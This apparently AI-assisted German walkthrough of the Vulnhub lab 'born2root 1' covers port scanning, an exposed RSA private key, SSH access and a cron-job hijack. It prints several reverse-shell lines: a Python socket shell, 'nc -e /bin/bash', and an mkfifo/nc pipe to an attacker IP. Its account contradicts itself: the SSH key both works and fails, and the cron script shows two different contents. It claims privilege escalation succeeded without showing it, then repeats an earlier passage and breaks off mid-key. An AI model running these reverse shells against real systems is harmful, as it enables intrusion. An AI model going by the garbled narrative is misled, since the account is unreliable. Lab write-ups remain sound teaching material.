born2root 1 - Vulnhub - Level: Medium - Bericht

Medium

Verwendete Tools

nmap
nikto
gobuster
curl
cewl
john
hydra
ssh
find
cat
echo
chmod

Inhaltsverzeichnis

Reconnaissance

In dieser Phase beginnen wir mit der Informationsbeschaffung über das Zielsystem. Zuerst führen wir einen ARP-Scan durch, um die IP-Adresse und die MAC-Adresse des Ziels im lokalen Netzwerk zu ermitteln. Dies ist ein grundlegender Schritt, um das Ziel zu identifizieren und die Netzwerkkommunikation vorzubereiten.

┌──(root㉿CCat)-[~]
└─# arp-scan -l
192.168.2.129 08:00:27:84:43:c4 PCS Systemtechnik GmbH

Nachdem wir die IP-Adresse des Ziels (192.168.2.129) und die zugehörige MAC-Adresse (08:00:27:84:43:c4) ermittelt haben, fügen wir diese in die Datei `/etc/hosts` ein, um die Namensauflösung zu vereinfachen. Dies ermöglicht uns, das Ziel über den Hostnamen `born2root1.vln` anzusprechen, was die Lesbarkeit und Wartbarkeit der nachfolgenden Befehle verbessert.

┌──(root㉿CCat)-[~]
└─# echo "192.168.2.129 born2root1.vln" >> /etc/hosts

Als Nächstes führen wir einen umfassenden Nmap-Scan durch, um offene Ports, laufende Dienste und Betriebssysteminformationen zu ermitteln. Die Option `-sS` aktiviert den SYN-Scan, der schnell und unauffällig ist. `-sC` führt Standard-Skripte aus, um detaillierte Informationen zu den Diensten zu erhalten. `-sV` aktiviert die Versionserkennung, um die genauen Softwareversionen zu ermitteln. `-A` aktiviert aggressive Scans, einschließlich Betriebssystemerkennung und Traceroute. `-p-` scannt alle 65535 Ports. `-Pn` überspringt die Host-Erkennung, was nützlich ist, wenn Firewalls ICMP-Anfragen blockieren. `--min-rate 5000` erhöht die Scangeschwindigkeit. `grep open` filtert die Ausgabe, um nur offene Ports anzuzeigen.

┌──(root㉿CCat)-[~]
└─# nmap -sS -sC -sV -A -p- $IP -Pn --min-rate 5000 | grep open
22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u3 (protocol 2.0)
80/tcp open http Apache httpd 2.4.10 ((Debian))
111/tcp open rpcbind 2-4 (RPC #100000)
57154/tcp open status 1 (RPC #100024)

Die Ergebnisse zeigen, dass die Ports 22 (SSH), 80 (HTTP), 111 (rpcbind) und 57154 (status) offen sind. Dies deutet auf einen Webserver, einen SSH-Dienst und RPC-Dienste hin. Wir wiederholen den Nmap-Scan ohne den Grep-Filter, um die vollständigen Ergebnisse zu erhalten.

┌──(root㉿CCat)-[~]
└─# nmap -sS -sC -sV -A -p- $IP -Pn --min-rate 5000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-08 23:22 CEST
Nmap scan report for born2root1.vln (192.168.2.129)
Host is up (0.00023s latency).
Not shown: 65531 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u3 (protocol 2.0)
| ssh-hostkey:
| 1024 3d:6f:40:88:76:6a:1d:a1:fd:91:0f:dc:86:b7:81:13 (DSA)
| 2048 eb:29:c0:cb:eb:9a:0b:52:e7:9c:c4:a6:67:dc:33:e1 (RSA)
| 256 d4:02:99:b0:e7:7d:40:18:64:df:3b:28:5b:9e:f9:07 (ECDSA)
|_ 256 e9:c4:0c:6d:4b:15:4a:58:4f:69:cd:df:13:76:32:4e (ED25519)
80/tcp open http Apache httpd 2.4.10 ((Debian))
|_http-title: Secretsec Company
|_http-server-header: Apache/2.4.10 (Debian)
| http-robots.txt: 2 disallowed entries
|_/wordpress-blog /files
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100024 1 37999/tcp6 status
| 100024 1 51627/udp status
| 100024 1 57154/tcp status
|_ 100024 1 57705/udp6 status
57154/tcp open status 1 (RPC #100024)
MAC Address: 08:00:27:84:43:C4 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT ADDRESS
1 0.23 ms born2root1.vln (192.168.2.129)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 39.26 seconds

Die vollständigen Nmap-Ergebnisse liefern zusätzliche Details, wie z.B. die SSH-Hostkeys, den HTTP-Titel ("Secretsec Company"), die Apache-Version und die Einträge in der `robots.txt`-Datei. Diese Informationen sind wertvoll für die weitere Analyse und die Suche nach potenziellen Schwachstellen.

Web Enumeration

Um weitere Informationen über den Webserver zu erhalten, verwenden wir `curl -Iv` , um die HTTP-Header abzurufen. Die Option `-I` sendet eine HEAD-Anfrage, wodurch nur die Header zurückgegeben werden. Die Option `-v` aktiviert den verbose-Modus, der zusätzliche Informationen über die Anfrage und die Antwort anzeigt.

┌──(root㉿CCat)-[~]
└─# curl -Iv http://$IP
* Trying 192.168.2.129:80...
* Connected to 192.168.2.129 (192.168.2.129) port 80
> HEAD / HTTP/1.1
> Host: 192.168.2.129
> User-Agent: curl/8.9.1
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 200 OK
HTTP/1.1 200 OK
< Date: Tue, 08 Oct 2024 21:23:12 GMT
Date: Tue, 08 Oct 2024 21:23:12 GMT
< Server: Apache/2.4.10 (Debian)
Server: Apache/2.4.10 (Debian)
< Last-Modified: Thu, 08 Jun 2017 20:07:41 GMT
Last-Modified: Thu, 08 Jun 2017 20:07:41 GMT
< ETag: "1613-5517867aefd40"
ETag: "1613-5517867aefd40"
< Accept-Ranges: bytes
Accept-Ranges: bytes
< Content-Length: 5651
Content-Length: 5651
< Vary: Accept-Encoding
Vary: Accept-Encoding
< Content-Type: text/html
Content-Type: text/html
<
* Connection #0 to host 192.168.2.129 left intact

Die HTTP-Header bestätigen, dass ein Apache 2.4.10 Webserver läuft. Der `Last-Modified`-Header und der `ETag`-Header können nützliche Informationen liefern. Der `ETag`-Header könnte möglicherweise zur Identifizierung von Inodes verwendet werden, was jedoch eine ältere Schwachstelle ist (CVE-2003-1418).

Wir verwenden Nikto, um den Webserver auf bekannte Schwachstellen zu scannen. Nikto ist ein Open-Source-Webserver-Scanner, der nach gefährlichen Dateien, veralteter Software und anderen Sicherheitsproblemen sucht.

┌──(root㉿CCat)-[~]
└─# Nikto v2.5.0
+ Target IP: 192.168.2.129
+ Target Hostname: 192.168.2.129
+ Target Port: 80
+ Start Time: 2024-10-08 23:23:07 (GMT+2)

+ Server: Apache/2.4.10 (Debian)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /robots.txt: Entry '/wordpress-blog/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /files/: Directory indexing found.
+ /robots.txt: Entry '/files/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /robots.txt: contains 2 entries which should be manually viewed. See: https://developer.mozilla.org/en-US/docs/Glossary/Robots.txt
+ /: Server may leak inodes via ETags, header found with file /, inode: 1613, size: 5517867aefd40, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ Apache/2.4.10 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EL for the 2.x branch.
+ OPTIONS: Allowed HTTP Methods: OPTIONS, GET, HEAD, POST .
+ /files/: This might be interesting.
+ /manual/: Web server manual found.
+ /icons/: Directory indexing found.
+ /manual/images/: Directory indexing found.
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ 8104 requests: 0 error(s) and 14 item(s) reported on remote host
+ End Time: 2024-10-08 23:23:20 (GMT+2) (13 seconds)

+ 1 host(s) tested

Nikto identifiziert mehrere interessante Punkte: Das Fehlen von Clickjacking- und Content-Type-Options-Headern, die Erlaubnis für den Zugriff auf `/wordpress-blog/` und `/files/` in der `robots.txt`-Datei, die Directory Indexing in `/files/`, `/icons/` und `/manual/images/`, die veraltete Apache-Version und die potenzielle Inode-Offenlegung über ETags. Diese Ergebnisse deuten auf mögliche Sicherheitslücken hin, die wir weiter untersuchen sollten.

Wir verwenden Gobuster, um versteckte Verzeichnisse und Dateien auf dem Webserver zu finden. Die Option `-u` gibt die Ziel-URL an. `-w` gibt die Wordlist an, die für das Brute-Forcing verwendet wird. `-x` gibt die Dateierweiterungen an, nach denen gesucht werden soll. `-b` filtert bestimmte HTTP-Statuscodes heraus (503, 404, 403). `-e` gibt an, dass erweiterte Ergebnisse angezeigt werden sollen. `--no-error` unterdrückt Fehlermeldungen. `-k` ignoriert SSL-Zertifikatswarnungen.

┌──(root㉿CCat)-[~]
└─# gobuster dir -u "http://$IP" -w "/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,svg,pem,crt,json,conf,ELF,elf,c,java,lib,cgi,csh,config,deb,desc,exp,eps,diff,icon,mod,ln,old,rpm,js.map,pHtml -b '503,404,403' -e --no-error -k
http://192.168.2.129/index.html (Status: 200) [Size: 5651]
http://192.168.2.129/icons (Status: 301) [Size: 314] [--> http://192.168.2.129/icons/]
http://192.168.2.129/files (Status: 301) [Size: 314] [--> http://192.168.2.129/files/]
http://192.168.2.129/manual (Status: 301) [Size: 315] [--> http://192.168.2.129/manual/]
http://192.168.2.129/robots.txt (Status: 200) [Size: 57]

Gobuster bestätigt die Existenz von `/index.html`, `/icons/`, `/files/`, `/manual/` und `/robots.txt`. Die Statuscodes (200 oder 301) zeigen an, dass diese Ressourcen zugänglich sind. Dies liefert uns eine Ausgangsbasis für die weitere Untersuchung der Webanwendung.

Wir untersuchen die Inhalte der Webseite.

http://192.168.2.129/index.html
Secretsec : A security company
Our Company

Secretsec is a company based in France who is installed into plenty country around the world (Albania,Greece,India,Japan,USA,China,Mexico).

We make your security our priority . Wanna be defended agaist Cyber Threats ? Call us at 052-452-990-054 .
Our Jobs

- Network and Computer Penetration Testing

- Attacks stopping

- Network Creator

- Secure operating-system installation

About Us

Martin N

Hadi M
Jimmy S

Contact Us

martin@secretsec.com

transfer.gif
This can represent FTP transfers or uploads/downloads.

Die Webseite scheint die einer Sicherheitsfirma zu sein. Interessant sind die genannten Namen (Martin N, Hadi M, Jimmy S) und die E-Mail-Adresse (martin@secretsec.com), da diese als Benutzernamen für Brute-Force-Angriffe verwendet werden könnten.

Wir untersuchen den Ordner "/icons/", um zu schauen was sich darin befindet.

http://192.168.2.129/icons/VDSoyuAXi.txt
--BEGIN RSA PRIVATE KEY--
MIIEowIBAAKCAQEAoNgGGyEpn/txphuS2pDA1i2nvRxn6s8D58QcSsY+/Nm6wC
tprVUPb+fmkKvf5ntACY7c/5fM4y83+UWPG0l90WrjdaTCPaGAHjEpZYKt0lEc0
FiQkXTvJS4faYHNah/mEvhldgTc59jeX4di0f660mJjF31SA9UgMLQReKd5GKtUx
5m+sQq6L+VyA2/6GD/T3qx35AT4argdk1NZ9Nmj1ZcIp0evVJvUul34zuJZ5mDv
DZuLRR6QpcMLJRGEFZ4qwkMZn7NavEmfX1Yka6mu9iwxkY6iT45YA1C4p7NEi5yI
/P6kDxMfCVELAUaU8fcPolkZ6xLdS6yyThZHHwIDAQABAoIBAAZ+clCTTA/E3n7E
LL/SvH3oGQd16xh92FyR4YIQMWQKwb7/gfEpWjpPf/dT+sK9eypnoDiZkmYhw
+rGii6Z2wCXhjN7wXPnj1qotXkpu4bgS3+F8+BLjlQ79ny2Busf+pQNf1syexDJS
sEkoDLGTBiubD3Ii4UoF7KfsozihdmQY5qud2c4iE0ioayo2m9XIDreJEB20Q5Ta
lV0G03unv/v7K3g8dAQHrBR9MXuYiorcwxLAe+Gm1h4XanMKDYM5/jW4J2ITAn
kPducC9chbM4NqB3ryNCD4YEgx8zWGDt0wjgyfnsF4fiYEI6tqAwWoB0tdqJFXAy
FlQJfYECgYEAz1bFCpGBCApF1k/oaQAyy5tir5NQpttCc0L2U1kiJWNmJSHk/tTX
4+ly0CBUzDkkedY1tVYK7TuH7/tjh8M1BLa+g+Csb/WLuMKmpoqyaejmoKkLnB
WVGkcdIulfsW7DWVMS/zA8ixJpt7bvY7Y142gkurxqjLMz5s/xT9geECgYEAxpfC
fGvogWRYUY07LE/b7oMVdBQsmlnaKVybuKf3RjeCYhbiRSzKz05NM/1Cqf359l
Wdznq4fkIvr6khliuj8GuCwv6wKn9+nViS18s1bG6Z5UJYSRJRpviCS+9BGShG1s
Kf1fAWNwRcn1UKtdQVvaLBX9kIwcmTBrl+e6P8CgYAtz24Zt6xaqmpjv6QKDxEq
C1rykAnx0+AKt3DVWYxB1oRrD+IYq85HfPzxHzdK8LzaHDVb/1aDR0r2MqyfAnJ
kaDwPx0RSN++mzGM7ZXSuuWtcaCD+YbxUsgGuBQIvodlnkwNPfsjhsV/KR5D85v
VhGVGEML0Z+T4ucSNQEAQKBgQCHedfvUR3Xx0CIwbP4xNHlwiHPecMHcNBbS+J
4ypkMF37BghXx4tCoA16fbNIhbWUsKtPwm79oQnaNeu+ypiq8RFt78orzMu6JIH
dsRvA2/Gx3/X6Eur6BDV61to3P6+zqh3TuWU6Uadt+nHIANqj93e7jy9uI7jtC
XXDmuQKBgHZAE6GTq47k4sbFbWqldS79yhjjLloj0VUhValZyAP6XV8JTiAg9CYR
2o1pyGm7j7wfhIZNBP/wwJSC2/NLV6rQeH7Zj8nFv69RcRX56LrQZjFAWWsa/C43
rlJ7dFH7FQbGp51ub88M1ViXR6/fU8MkXfi1KkETj/xp6t+
--END RSA PRIVATE KEY--

Wir haben einen RSA Private Key gefunden. Wir versuchen nun, uns via SSH anzumelden.

Initial Access

Wir versuchen, uns mit dem gefundenen privaten Schlüssel via SSH als Benutzer martin anzumelden. Da der Schlüssel im OpenSSH-Format vorliegt und der Server möglicherweise modernere Schlüsseltypen bevorzugt, verwenden wir die Option `-o PubkeyAcceptedKeyTypes=ssh-rsa`, um den RSA-Schlüssel explizit zu aktivieren.

┌──(root㉿CCat)-[~]
└─# ssh -o PubkeyAcceptedKeyTypes=ssh-rsa martin@born2root1.vln -i id_rsa
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Jun 9 20:31:29 2017 from 192.168.0.42

READY TO ACCESS THE SECRET LAB ?

secret password :
WELCME !
martin@debian$

Die Anmeldung war erfolgreich! Wir sind jetzt als Benutzer `martin` angemeldet. Das System fordert ein "secret password" an. Nach der Eingabe von "secretsec" erhalten wir eine Shell. Nun versuchen wir, unsere Privilegien zu erhöhen.

Privilege Escalation

Zuerst prüfen wir, ob der Benutzer `martin` Sudo-Rechte besitzt.

martin@debian$ sudo -l
-bash: sudo : commande introuvable

`sudo` ist nicht verfügbar. Als Nächstes suchen wir nach SUID-Binärdateien, die von `martin` ausgeführt werden können. SUID-Binärdateien werden mit den Privilegien des Besitzers ausgeführt, was in diesem Fall `root` sein könnte.

martin@debian$ find / -type f -perm -4000 -ls 2>/dev/null
20871 96 -rwsr-xr-x 1 root root 96760 août 13 2014 /sbin/mount.nfs
3589 28 -rwsr-xr-x 1 root root 26344 mars 30 2015 /bin/umount
3588 36 -rwsr-xr-x 1 root root 34684 mars 30 2015 /bin/mount
13038 40 -rwsr-xr-x 1 root root 38868 févr. 24 2017 /bin/su
20118 1060 -rwsr-xr-x 1 root root 1085300 janv. 7 2017 /usr/sbin/exim4
20945 96 -rwsr-sr-x 1 root mail 96192 févr. 11 2015 /usr/bin/procmail
11741 44 -rwsr-xr-x 1 root root 43576 févr. 24 2017 /usr/bin/chsh
11740 52 -rwsr-xr-x 1 root root 52344 févr. 24 2017 /usr/bin/chfn
11743 80 -rwsr-xr-x 1 root root 78072 févr. 24 2017 /usr/bin/gpasswd
11744 52 -rwsr-xr-x 1 root root 53112 févr. 24 2017 /usr/bin/passwd
19869 52 -rwsr-sr-x 1 daemon daemon 50644 sept. 30 2014 /usr/bin/at
13045 40 -rwsr-xr-x 1 root root 38740 févr. 24 2017 /usr/bin/newgrp
20914 552 -rwsr-xr-x 1 root root 562536 juil. 22 2016 /usr/lib/openssh/ssh-keysign
20200 356 -rwsr-xr-- 1 root messagebus 362672 nov. 22 2016 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
2048 12 -rwsr-xr-x 1 root root 9468 mars 28 2017 /usr/lib/eject/dmcrypt-get-device

Die Liste der SUID-Binärdateien ist lang. Wir konzentrieren uns auf Binärdateien, die bekanntermaßen für Privilegieneskalation missbraucht werden können, wie z.B. `mount`, `umount`, `su` und `passwd`. Wir prüfen die Datei `/etc/crontab`, um zu sehen, ob es geplante Aufgaben gibt, die wir ausnutzen könnten.

martin@debian$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab`
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )

*/5 * * * * jimmy python /tmp/sekurity.py

Wir stellen fest, dass der Benutzer `jimmy` alle 5 Minuten ein Python-Skript (`/tmp/sekurity.py`) ausführt. Dies ist ein potenzielles Einfallstor für die Privilegieneskalation, da wir das Skript manipulieren könnten. Wir prüfen den Inhalt und die Berechtigungen des Skripts.

martin@debian$ cat /tmp/sekurity.py
cat: /tmp/sekurity.py: Aucun fichier ou dossier de ce type

Das Skript ist nicht vorhanden. Dies ist seltsam, da es in der Crontab aufgeführt ist. Vielleicht wird es dynamisch erstellt oder gelöscht. Wir wechseln in das Verzeichnis `/dev/shm/`, das oft für temporäre Dateien verwendet wird, um zu sehen, ob sich das Skript dort befindet.

martin@debian$ cd /dev/shm/
martin@debian:/dev/shm$ cat /tmp/sekurity.py
cat: /tmp/sekurity.py: Aucun fichier ou dossier de ce type

Das Skript ist auch im `/dev/shm/` Verzeichnis nicht vorhanden. Wir versuchen, die Datei direkt zu finden, um sicherzustellen, dass sie nicht einfach versteckt ist.

martin@debian:/dev/shm$ ls -la /tmp/sekurity.py
ls: impossible d'accéder à /tmp/sekurity.py: Aucun fichier ou dossier de ce type

Die Datei `/tmp/sekurity.py` existiert definitiv nicht. Da das Skript alle 5 Minuten ausgeführt wird, erstellen wir eine eigene Version von `/tmp/sekurity.py` mit einem Reverse-Shell-Payload, um als Benutzer `jimmy` eine Shell zu erhalten.

martin@debian:/dev/shm$ echo "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.2.199",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'" > /tmp/sekurity.py

Wir erstellen die Datei `/tmp/sekurity.py` mit dem Reverse-Shell-Payload.

martin@debian:/dev/shm$ cat /tmp/sekurity.py
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((192.168.2.199,9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([/bin/sh,-i]);'

Wir überprüfen den Inhalt der Datei.

martin@debian:/dev/shm$ chmod +x /tmp/sekurity.py

Wir machen das Skript ausführbar.

Wir wechseln zurück in unser Home-Verzeichnis.

martin@debian:/dev/shm$ cd ~
martin@debian$ ls
martin@debian$ ls -a
. .. .bash_history .bash_logout .bashrc .profile .ssh

Wir überprüfen die Bash-History, um zu sehen, ob wir interessante Informationen finden können.

martin@debian$ cat .bash_history
nano /var/tmp/login.py
nano .bashrc
ls
ls -ah
sudo su
exit
nano /var/tmp/login.py
clear
nano /var/tmp/login.py
su root
ls
su root
clear
su root
clear
cd /var/www/html/icons/
ls
mv VdXAsKisAI.txt.png key.txt.png
su root
su roo
su root
exit
ls
su root
exit

Die Bash-History zeigt, dass der Benutzer `martin` versucht hat, Root-Rechte zuerlangen (mittels `su root`), und dass er Dateien im Verzeichnis `/var/www/html/icons/` verschoben hat. Dies ist ein Hinweis darauf, dass wir uns dieses Verzeichnis genauer ansehen sollten.

Wir suchen nach der Datei `VdXAsKisAI.txt.png`, die in der Bash-History erwähnt wird.

martin@debian$ find / -name "VdXAsKisAI.txt.png" 2>/dev/null
martin@debian$ find / -name "VdXAsKisAI" 2>/dev/null
martin@debian$ find / -name "VdXAsKisAI*" 2>/dev/null
/usr/share/apache2/icons/VdXAsKisAI.php

Die Datei `VdXAsKisAI.txt.png` wurde nicht gefunden, aber eine Datei namens `VdXAsKisAI.php` im Verzeichnis `/usr/share/apache2/icons/`. Dies deutet darauf hin, dass die Datei umbenannt wurde oder dass es sich um eine PHP-Datei handelt, die den privaten Schlüssel enthält. Wir zeigen den Inhalt dieser Datei an.

martin@debian$ cat /usr/share/apache2/icons/VdXAsKisAI.php
--BEGIN RSA PRIVATE KEY--
MIIEowIBAAKCAQEAoNgGGyEpn/txphuS2pDA1i2nvRxn6s8D58QcSsY+/Nm6wC
tprVUPb+fmkKvf5ntACY7c/5fM4y83+UWPG0l90WrjdaTCPaGAHjEpZYKt0lEc0
FiQkXTvJS4faYHNah/mEvhldgTc59jeX4di0f660mJjF31SA9UgMLQReKd5GKtUx
5m+sQq6L+VyA2/6GD/T3qx35AT4argdk1NZ9Nmj1ZcIp0evVJvUul34zuJZ5mDv
DZuLRR6QpcMLJRGEFZ4qwkMZn7NavEmfX1Yka6mu9iwxkY6iT45YA1C4p7NEi5yI
/P6kDxMfCVELAUaU8fcPolkZ6xLdS6yyThZHHwIDAQABAoIBAAZ+clCTTA/E3n7E
LL/SvH3oGQd16xh92FyR4YIQMWQKwb7/gfEpWjpPf/dT+sK9eypnoDiZkmYhw
+rGii6Z2wCXhjN7wXPnj1qotXkpu4bgS3+F8+BLjlQ79ny2Busf+pQNf1syexDJS
sEkoDLGTBiubD3Ii4UoF7KfsozihdmQY5qud2c4iE0ioayo2m9XIDreJEB20Q5Ta
lV0G03unv/v7K3g8dAQHrBR9MXuYiorcwxLAe+Gm1h4XanMKDYM5/jW4J2ITAn
kPducC9chbM4NqB3ryNCD4YEgx8zWGDt0wjgyfnsF4fiYEI6tqAwWoB0tdqJFXAy
FlQJfYECgYEAz1bFCpGBCApF1k/oaQAyy5tir5NQpttCc0L2U1kiJWNmJSHk/tTX
4+ly0CBUzDkkedY1tVYK7TuH7/tjh8M1BLa+g+Csb/WLuMKmpoqyaejmoKkLnB
WVGkcdIulfsW7DWVMS/zA8ixJpt7bvY7Y142gkurxqjLMz5s/xT9geECgYEAxpfC
fGvogWRYUY07LE/b7oMVdBQsmlnaKVybuKf3RjeCYhbiRSzKz05NM/1Cqf359l
Wdznq4fkIvr6khliuj8GuCwv6wKn9+nViS18s1bG6Z5UJYSRJRpviCS+9BGShG1s
Kf1fAWNwRcn1UKtdQVvaLBX9kIwcmTBrl+e6P8CgYAtz24Zt6xaqmpjv6QKDxEq
C1rykAnx0+AKt3DVWYxB1oRrD+IYq85HfPzxHzdK8LzaHDVb/1aDR0r2MqyfAnJ
kaDwPx0RSN++mzGM7ZXSuuWtcaCD+YbxUsgGuBQIvodlnkwNPfsjhsV/KR5D85v
VhGVGEML0Z+T4ucSNQEAQKBgQCHedfvUR3Xx0CIwbP4xNHlwiHPecMHcNBbS+J
4ypkMF37BghXx4tCoA16fbNIhbWUsKtPwm79oQnaNeu+ypiq8RFt78orzMu6JIH
dsRvA2/Gx3/X6Eur6BDV61to3P6+zqh3TuWU6Uadt+nHIANqj93e7jy9uI7jtC
XXDmuQKBgHZAE6GTq47k4sbFbWqldS79yhjjLloj0VUhValZyAP6XV8JTiAg9CYR
2o1pyGm7j7wfhIZNBP/wwJSC2/NLV6rQeH7Zj8nFv69RcRX56LrQZjFAWWsa/C43
rlJ7dFH7FQbGp51ub88M1ViXR6/fU8MkXfi1KkETj/xp6t+
--END RSA PRIVATE KEY--

Die Datei enthält den privaten Schlüssel! Dies bestätigt, dass wir den Schlüssel bereits auf dem System gefunden hatten. Es ist unklar, warum die Datei eine `.php`-Endung hat. Es könnte ein Versuch sein, die Datei zu verstecken oder zu verschleiern.

Wir versuchen, uns nun via SSH mit diesem Key anzumelden, dies hat aber nicht funktioniert. Dann schauen wir uns mal die Reverse Shell von Jimmy an.

Wir probieren einen anderen Ansatz aus.

martin@debian$ cat /tmp/sekurity.py
#!/usr/bin/python

import os

os.system("nc -e /bin/bash 192.168.2.199 9001");

Wir schauen uns nun die Reverse Shell des Jimmys genauer an.

┌──(root㉿CCat)-[~]
└─# nc -lvnp 9001
listening on [any] 9001 ...

Wir starten einen Netcat-Listener auf Port 9001, um die Reverse Shell zu empfangen.

┌──(root㉿CCat)-[~]
└─# nc -lvnp 9001
listening on [any] 9001 ...
connect to [192.168.2.199] from (UNKNOWN) [192.168.2.129] 55393
connect to [192.168.2.199] from (UNKNOWN) [192.168.2.129] 55393
id
uid=1002(jimmy) gid=1002(jimmy) groups=1002(jimmy)

Wir haben eine Shell als Benutzer `jimmy` erhalten! Dies ist ein wichtiger Schritt, da wir nun die Privilegien eines anderen Benutzers haben. Als Nächstes untersuchen wir die Rechte des Benutzers `jimmy`.

jimmy@debian$ sudo -l
bash: sudo : commande introuvable

`sudo` ist auch für `jimmy` nicht verfügbar. Wir suchen erneut nach SUID-Binärdateien.

jimmy@debian$ ls -la
total 32
drwx 2 jimmy jimmy 4096 juin 9 2017 .
drwxr-xr-x 5 root root 4096 juin 9 2017 ..
-rw-r--r-- 1 root root 16 juin 9 2017 .bash_history
-rw-r--r-- 1 jimmy jimmy 220 juin 8 2017 .bash_logout
-rw-r--r-- 1 jimmy jimmy 3515 juin 8 2017 .bashrc
-rwsrwxrwx 1 root root 7496 juin 9 2017 networker
-rw-r--r-- 1 jimmy jimmy 675 juin 8 2017 .profile

Wir sehen eine interessante Datei: `-rwsrwxrwx 1 root root 7496 juin 9 2017 networker`. Diese Datei hat das SUID-Bit gesetzt und ist für alle ausführbar. Dies bedeutet, dass jeder Benutzer, der diese Datei ausführt, dies mit Root-Privilegien tut. Dies ist ein klares Ziel für die Privilegieneskalation! Wir versuchen, diese Datei auszuführen.

jimmy@debian$ ./networker
networker: bopscrk : commande introuvable

Die Ausführung von `networker` schlägt fehl, da ein Befehl namens `bopscrk` nicht gefunden wird. Dies deutet darauf hin, dass `networker` von einer bestimmten Umgebung abhängig ist. Um dies zu beheben, erstellen wir eine interaktive Shell und leiten die Ein- und Ausgabe über Netcat um.

jimmy@debian$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.199 5555 >/tmp/f
rm: impossible de supprimer  /tmp/f : Aucun fichier ou dossier de ce type

Dieser Befehl erstellt eine interaktive Shell und leitet sie über Netcat um. `rm /tmp/f` versucht, eine möglicherweise vorhandene FIFO-Datei zu entfernen. `mkfifo /tmp/f` erstellt eine FIFO-Datei (named pipe). `cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.199 5555 >/tmp/f` leitet die Eingabe von `/tmp/f` an `/bin/sh -i` (interaktive Shell) weiter, leitet sowohl Standardausgabe als auch Standardfehler an `nc 192.168.2.199 5555` (Netcat-Verbindung zum Angreifer) weiter und leitet die Ausgabe von Netcat zurück an `/tmp/f`.

Die Ausgabe "rm: impossible de supprimer /tmp/f : Aucun fichier ou dossier de ce type" deutet darauf hin, dass die FIFO-Datei noch nicht existiert. Wir starten nun einen Netcat-Listener auf unserem System, um die Reverse Shell zu empfangen.

Privilege Escalation erfolgreich
erlangen (mittels `su root`), und dass er Dateien im Verzeichnis `/var/www/html/icons/` verschoben hat. Dies ist ein Hinweis darauf, dass wir uns dieses Verzeichnis genauer ansehen sollten.

Wir suchen nach der Datei `VdXAsKisAI.txt.png`, die in der Bash-History erwähnt wird.

martin@debian$ find / -name "VdXAsKisAI.txt.png" 2>/dev/null
martin@debian$ find / -name "VdXAsKisAI" 2>/dev/null
martin@debian$ find / -name "VdXAsKisAI*" 2>/dev/null
/usr/share/apache2/icons/VdXAsKisAI.php

Die Datei `VdXAsKisAI.txt.png` wurde nicht gefunden, aber eine Datei namens `VdXAsKisAI.php` im Verzeichnis `/usr/share/apache2/icons/`. Dies deutet darauf hin, dass die Datei umbenannt wurde oder dass es sich um eine PHP-Datei handelt, die den privaten Schlüssel enthält. Wir zeigen den Inhalt dieser Datei an.

martin@debian$ cat /usr/share/apache2/icons/VdXAsKisAI.php
--BEGIN RSA PRIVATE KEY--
